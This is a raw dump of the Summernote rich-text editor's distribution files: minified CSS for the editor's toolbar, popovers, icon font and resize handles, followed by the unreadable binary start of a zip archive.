#ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover{max-width:none}.note-popover .note-popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover .note-popover-arrow{left:20px!important}.note-popover .note-popover-content,.note-toolbar{padding:0 0 5px 5px;margin:0;background-color:#fff}.note-popover .note-popover-content>.note-btn-group,.note-toolbar>.note-btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .note-popover-content .note-btn-group .note-table,.note-toolbar .note-btn-group .note-table{min-width:0;padding:5px}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker,.note-toolbar .note-btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .note-popover-content .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.note-toolbar .note-btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .note-popover-content .note-style h1,.note-toolbar .note-style h1,.note-popover .note-popover-content .note-style h2,.note-toolbar .note-style h2,.note-popover .note-popover-content .note-style h3,.note-toolbar .note-style h3,.note-popover .note-popover-content .note-style h4,.note-toolbar .note-style h4,.note-popover .note-popover-content .note-style h5,.note-toolbar .note-style h5,.note-popover .note-popover-content .note-style h6,.note-toolbar .note-style h6,.note-popover .note-popover-content .note-style blockquote,.note-toolbar .note-style blockquote{margin:0}.note-popover .note-popover-content .note-color .dropdown-toggle,.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .note-popover-content .note-color .note-dropdown-menu,.note-toolbar .note-color .note-dropdown-menu{min-width:346px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette,.note-toolbar .note-color .note-dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette:first-child,.note-toolbar .note-color .note-dropdown-menu .note-palette:first-child{margin:0 5px;margin-right:15px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-palette-title,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-reset,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-reset{width:100%;padding:2px 3px;margin:3px;cursor:pointer;background-color:#fff;border:0;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-row,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .note-popover-content .note-color .note-dropdown-menu .note-palette .note-color-reset:hover,.note-toolbar .note-color .note-dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .note-popover-content .note-para .note-dropdown-menu,.note-toolbar .note-para .note-dropdown-menu{min-width:216px;padding:5px}.note-popover .note-popover-content .note-para .note-dropdown-menu>div:first-child,.note-toolbar .note-para .note-dropdown-menu>div:first-child{margin-right:5px}.note-popover .note-popover-content .note-btn-fontname .note-dropdown-menu,.note-toolbar .note-btn-fontname .note-dropdown-menu{min-width:200px}.note-popover .note-popover-content .note-dropdown-menu,.note-toolbar .note-dropdown-menu{min-width:160px}.note-popover .note-popover-content .note-dropdown-menu.right,.note-toolbar .note-dropdown-menu.right{right:0;left:auto}.note-popover .note-popover-content .note-dropdown-menu.right::before,.note-toolbar .note-dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .note-popover-content .note-dropdown-menu.right::after,.note-toolbar .note-dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .note-popover-content .note-dropdown-menu.note-check .note-dropdown-item i,.note-toolbar .note-dropdown-menu.note-check .note-dropdown-item i{color:deepskyblue;visibility:hidden}.note-popover .note-popover-content .note-dropdown-menu.note-check .note-dropdown-item.checked i,.note-toolbar .note-dropdown-menu.note-check .note-dropdown-item.checked i{visibility:visible}.note-popover .note-popover-content .note-dropdown-menu .note-dropdown-item>*,.note-toolbar .note-dropdown-menu .note-dropdown-item>*{margin:0}.note-popover .note-popover-content .note-fontsize-10,.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .note-popover-content .note-color-palette,.note-toolbar .note-color-palette{line-height:1}.note-popover .note-popover-content .note-color-palette div .note-color-btn,.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .note-popover-content .note-color-palette div .note-color-btn:hover,.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-modal .note-modal-body label{display:inline-block;padding:2px 5px;margin-bottom:2px}.note-modal .note-modal-body .help-list-item:hover{background-color:#e0e0e0}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid black}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:#000;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:#fff;border:1px solid #000}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .note-popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .note-popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .note-popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .note-popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}.help-list-item label{display:inline-block;margin-bottom:5px}summernote.css000064400000042515151677331550007500 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:before,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area img.note-float-left{margin-right:10px}.note-editor .note-editing-area img.note-float-right{margin-left:10px}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.note-editor.note-frame .note-statusbar .note-resizebar{width:100%;height:9px;padding-top:1px;cursor:ns-resize}.note-editor.note-frame .note-statusbar .note-resizebar .note-icon-bar{width:20px;margin:1px auto;border-top:1px solid #a9a9a9}.note-editor.note-frame .note-statusbar.locked .note-resizebar{cursor:default}.note-editor.note-frame .note-statusbar.locked .note-resizebar .note-icon-bar{display:none}.note-editor.note-frame .note-placeholder{padding:10px}.note-popover.popover{max-width:none}.note-popover.popover .popover-content a{display:inline-block;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;vertical-align:middle}.note-popover.popover .arrow{left:20px!important}.note-toolbar{position:relative;z-index:500}.note-popover .popover-content,.panel-heading.note-toolbar{padding:0 0 5px 5px;margin:0}.note-popover .popover-content>.btn-group,.panel-heading.note-toolbar>.btn-group{margin-top:5px;margin-right:5px;margin-left:0}.note-popover .popover-content .btn-group .note-table,.panel-heading.note-toolbar .btn-group .note-table{min-width:0;padding:5px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker{font-size:18px}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-mousecatcher{position:absolute!important;z-index:3;width:10em;height:10em;cursor:pointer}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-unhighlighted{position:relative!important;z-index:1;width:5em;height:5em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted,.panel-heading.note-toolbar .btn-group .note-table .note-dimension-picker .note-dimension-picker-highlighted{position:absolute!important;z-index:2;width:1em;height:1em;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat}.note-popover .popover-content .note-style .dropdown-style blockquote,.panel-heading.note-toolbar .note-style .dropdown-style blockquote,.note-popover .popover-content .note-style .dropdown-style pre,.panel-heading.note-toolbar .note-style .dropdown-style pre{padding:5px 10px;margin:0}.note-popover .popover-content .note-style .dropdown-style h1,.panel-heading.note-toolbar .note-style .dropdown-style h1,.note-popover .popover-content .note-style .dropdown-style h2,.panel-heading.note-toolbar .note-style .dropdown-style h2,.note-popover .popover-content .note-style .dropdown-style h3,.panel-heading.note-toolbar .note-style .dropdown-style h3,.note-popover .popover-content .note-style .dropdown-style h4,.panel-heading.note-toolbar .note-style .dropdown-style h4,.note-popover .popover-content .note-style .dropdown-style h5,.panel-heading.note-toolbar .note-style .dropdown-style h5,.note-popover .popover-content .note-style .dropdown-style h6,.panel-heading.note-toolbar .note-style .dropdown-style h6,.note-popover .popover-content .note-style .dropdown-style p,.panel-heading.note-toolbar .note-style .dropdown-style p{padding:0;margin:0}.note-popover .popover-content .note-color .dropdown-toggle,.panel-heading.note-toolbar .note-color .dropdown-toggle{width:20px;padding-left:5px}.note-popover .popover-content .note-color .dropdown-menu,.panel-heading.note-toolbar .note-color .dropdown-menu{min-width:337px}.note-popover .popover-content .note-color .dropdown-menu .note-palette,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette{display:inline-block;width:160px;margin:0}.note-popover .popover-content .note-color .dropdown-menu .note-palette:first-child,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette:first-child{margin:0 5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-palette-title,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-palette-title{margin:2px 7px;font-size:12px;text-align:center;border-bottom:1px solid #eee}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset{width:100%;padding:0 3px;margin:3px;font-size:11px;cursor:pointer;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-row,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-row{height:20px}.note-popover .popover-content .note-color .dropdown-menu .note-palette .note-color-reset:hover,.panel-heading.note-toolbar .note-color .dropdown-menu .note-palette .note-color-reset:hover{background:#eee}.note-popover .popover-content .note-para .dropdown-menu,.panel-heading.note-toolbar .note-para .dropdown-menu{min-width:216px;padding:5px}.note-popover .popover-content .note-para .dropdown-menu>div:first-child,.panel-heading.note-toolbar .note-para .dropdown-menu>div:first-child{margin-right:5px}.note-popover .popover-content .dropdown-menu,.panel-heading.note-toolbar .dropdown-menu{min-width:90px}.note-popover .popover-content .dropdown-menu.right,.panel-heading.note-toolbar .dropdown-menu.right{right:0;left:auto}.note-popover .popover-content .dropdown-menu.right::before,.panel-heading.note-toolbar .dropdown-menu.right::before{right:9px;left:auto!important}.note-popover .popover-content .dropdown-menu.right::after,.panel-heading.note-toolbar .dropdown-menu.right::after{right:10px;left:auto!important}.note-popover .popover-content .dropdown-menu.note-check li a i,.panel-heading.note-toolbar .dropdown-menu.note-check li a i{color:deepskyblue;visibility:hidden}.note-popover .popover-content .dropdown-menu.note-check li a.checked i,.panel-heading.note-toolbar .dropdown-menu.note-check li a.checked i{visibility:visible}.note-popover .popover-content .note-fontsize-10,.panel-heading.note-toolbar .note-fontsize-10{font-size:10px}.note-popover .popover-content .note-color-palette,.panel-heading.note-toolbar .note-color-palette{line-height:1}.note-popover .popover-content .note-color-palette div .note-color-btn,.panel-heading.note-toolbar .note-color-palette div .note-color-btn{width:20px;height:20px;padding:0;margin:0;border:1px solid #fff}.note-popover .popover-content .note-color-palette div .note-color-btn:hover,.panel-heading.note-toolbar .note-color-palette div .note-color-btn:hover{border:1px solid #000}.note-dialog>div{display:none}.note-dialog .form-group{margin-right:0;margin-left:0}.note-dialog .note-modal-form{margin:0}.note-dialog .note-image-dialog .note-dropzone{min-height:100px;margin-bottom:10px;font-size:30px;line-height:4;color:lightgray;text-align:center;border:4px dashed lightgray}@-moz-document url-prefix(){.note-image-input{height:auto}}.note-placeholder{position:absolute;display:none;color:gray}.note-handle .note-control-selection{position:absolute;display:none;border:1px solid #000}.note-handle .note-control-selection>div{position:absolute}.note-handle .note-control-selection .note-control-selection-bg{width:100%;height:100%;background-color:#000;-webkit-opacity:.3;-khtml-opacity:.3;-moz-opacity:.3;opacity:.3;-ms-filter:alpha(opacity=30);filter:alpha(opacity=30)}.note-handle .note-control-selection .note-control-handle{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-holder{width:7px;height:7px;border:1px solid #000}.note-handle .note-control-selection .note-control-sizing{width:7px;height:7px;background-color:#fff;border:1px solid #000}.note-handle .note-control-selection .note-control-nw{top:-5px;left:-5px;border-right:0;border-bottom:0}.note-handle .note-control-selection .note-control-ne{top:-5px;right:-5px;border-bottom:0;border-left:none}.note-handle .note-control-selection .note-control-sw{bottom:-5px;left:-5px;border-top:0;border-right:0}.note-handle .note-control-selection .note-control-se{right:-5px;bottom:-5px;cursor:se-resize}.note-handle .note-control-selection .note-control-se.note-control-holder{cursor:default;border-top:0;border-left:none}.note-handle .note-control-selection .note-control-selection-info{right:0;bottom:0;padding:5px;margin:5px;font-size:12px;color:#fff;background-color:#000;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-opacity:.7;-khtml-opacity:.7;-moz-opacity:.7;opacity:.7;-ms-filter:alpha(opacity=70);filter:alpha(opacity=70)}.note-hint-popover{min-width:100px;padding:2px}.note-hint-popover .popover-content{max-height:150px;padding:3px;overflow:auto}.note-hint-popover .popover-content .note-hint-group .note-hint-item{display:block!important;padding:3px}.note-hint-popover .popover-content .note-hint-group .note-hint-item.active,.note-hint-popover .popover-content .note-hint-group .note-hint-item:hover{display:block;clear:both;font-weight:400;line-height:1.4;color:#fff;text-decoration:none;white-space:nowrap;cursor:pointer;background-color:#428bca;outline:0}summernote-0.8.10-dist.zip000064400001447723151677331550011210 0ustar00PKETLdist/summernote-bs4.js�{7�6��ɧh{�҉Eٹ��(q&�%k�8�F�����I(�%1�H
I��:���y���������ڝ��K�P�*
`�ޫ>��.��y���O������듪>/g�����o���ry����\\�����lYf��0���||r��>�u��j{2�VgӓA5�U��)�ͦ������!Ug���a]��z�:/�`}T]L�P����W��.�5{�����6n}��ѭ�[��>�� w���t�ϦU�d2;NnV���~}�z���|}^ώ�����|���ܹS�f�?֣e���*�>�]�*טKL����W��A��?.������u�ƍj+��
۱�1��~���(`�
k���ǿ��7>{�my:^ܬBO��6z\uE�7���R�;�����p���tg>��/_�{@ax1Y�n�������p^��ǝj��/G��bZGH�
��T�6���8�Y�NǓ�y=�Y��9>�h8�G/�2�o�����g:�:$��F	k�W#�&�AK����Ã�l9#O�8�N�`���!R�yR���FA�O�:��c�7>�4��$��=���"�fE=8]�M���|nC;r��8�O�guwsã�{,�h2U�Em
��Vs��z8:-bIHF�7��͚�6��r�F��^�a%�3�,�6�;i\�ins6�F�P/z7����9�6{$�D6B�̿9&_
�������W�H{�5"(\��dz��7S��m��d��O�=��ӓ�)FH�� z��/���^���/�Kʆf�e;�M"R��ٕ
u�>AY�`x~}��w˜�ˋ�T����V���@���UA��ވ.�k��x&]��U��7��6\#��p8?�8�.:����-�Ry[����R�ٹP5�`�؞χ��ƭ眆�7�����q��L�fsK�K��p�x�ef%V3rM�W�6�e�6�o��@3���{��_V2�޹.�mE��������p�s9�a���l����x5'_ί�jΡ����z���z5�M�;�-�6���ױ ����6�J�X�
L����hx{��3��%��
	G�9��t�3n���O�7������
u
��Nf��Ŗ�4<0@ւ��h,���Ţ{�D�{��.��ˢ�ZmCs����Kt�|6/��7�z�3�I'�&\��g5��5	~P|"�f��z1���M��`�!lr��l>Q��
�\?��s�x�����]�1�ͦƘ�6�$%��.�������gc�X���s�	�S]|�Ĝ�	�d	��+��w���_��mj`���M�c>�8�=�Ӎ)�~a썴GX��^M/���60�]8�M��$��l�|��M+��|��yBw#�/i����b�C��B�/������7YFgW�ަ'�"�ĭ��Z��+�W�bdb���9Z(>�e�$��jE�%�݉�-��SAƊn�*]��%(���X���\�M�=���]���;�ZOeiH$�
.��
��܆f+D+* ѵ^�k�x��4$�`O�W�����V������Ꙏ'�hM�k&��X��,��?4��Ә���C�퍤$�����BiVx�y7����>���U��M���P�D���=E����[Z^�<�JP�N��@Xki$�R�*[�����e�B�Μ��픡wdKΏn@FWY���\�O����^Bo]�j�\��l�a5d��Z�;��
_[`Y\�):��+$ߺ�{�X��":bk[�~&%?�b��M_�����LJ+5�B�4�x���*{�р����QC�]*�/�m�3�"}�볂K}e��=�3�(���[��V?�?������vaC{p~�8��y�p��\�2��u���B��-�����f�iM�oo�|��
���2�Gp���[0��M(򪫢���#&��U�\v/�.�\$�J�yB�bA}9;9���p�‚.���;�7ns�����W���m��y��B���^��P��un�u{Y'I�b����aj����T���(�
���W�nx�����lJ�ny�MI��p�T;9��8Ng/�y�[`��j�N�8��{�i�1�|�'����I�iYt:>:��^:Nuc��8�G�j�1R��6�#��|7C�P������d�2N�0�Y�.�~oXw|e�a�k;-g�B?�&=���L�)�ג
�!��
,-UP��W:ZG�+��ܡ6������N��&3��06���Tt�f�L���D98���?,�g��,⫺e+Z1�od������u�a���� �࿞D]9
Z�lA�B��t2_���h.��s
r�*_<)V������u
���["2��O>�
f?�Y��ޙܑ�-h��m�����댚����2Y�}&�R��D֡���5ܿ�Wm%c�Z�͒}�����p�uT�sY��P�.P�B@���?i��a��N�_����n=���U��B9%NԒ�]��xJ_��l�4:��\��f�x0M�Ɔԕ�u��1��{�(.���<���(��A�S=i
{�l�[�{�c�lm�U�T��	�6��_ı�|q�p�U�:��E�1b���{k�Ջ�|,��	?���;�b�&i5��C<K�UT`ü�„��¶��F���}����Kgl �*�pUf4brߩ���c�~#�Cq�B:T	�3˷4�%͋���Cs�׾�X��]�Z��4=9���`nn�I�P��g��Qp��:)��p�
��n�����w7H.U��u�Q=��%l��U��'f*ȿVR�������
��o#("�T���nUo�j��{+�ۤi��(X�EmCR��Y2�,��	���n2�M
�ak^Ew-�ʘ�$�m�]�{�Cð�L�+�U6�m�T��{�A���K�Yg�+f��xŕ���kW^j��˸휾�oo����ק �����.��Yi��q�Y����L��f���񂅎0�]K5t�#2RA��5%��2�0I^B��QҜ�(!�������lz_$s�[E&��)��&��hE��)���98D``h�+��nRk�<���/jH-�K[">ڧ�V�z!xk?��M����K@�^��f?�Ɩ`���NUE��:Qa�J�4怯D���b<H�E�
��0q52ɉ�.��#I3��O�`'C���
@H�I�L&i�6e6��Ꝩ��(��4���c�N�F����1�YT��c��	��?��(UA)d�23�n�Xf�5�R�Z�Z�5Y��L�����f�d�t�i��:���M��^�$웰����V�+�a"r�hz<+��!~��0:���`f;�k��l�M,#�?���T�IA0'�q�����e��� [��.I�@�'\�06fsFA2��`���0�἟M�p��b2Y�Ry��%_�C�E���Ɩ)_r�z.;b%�_�-ۥ�u׈8�H�cN`��
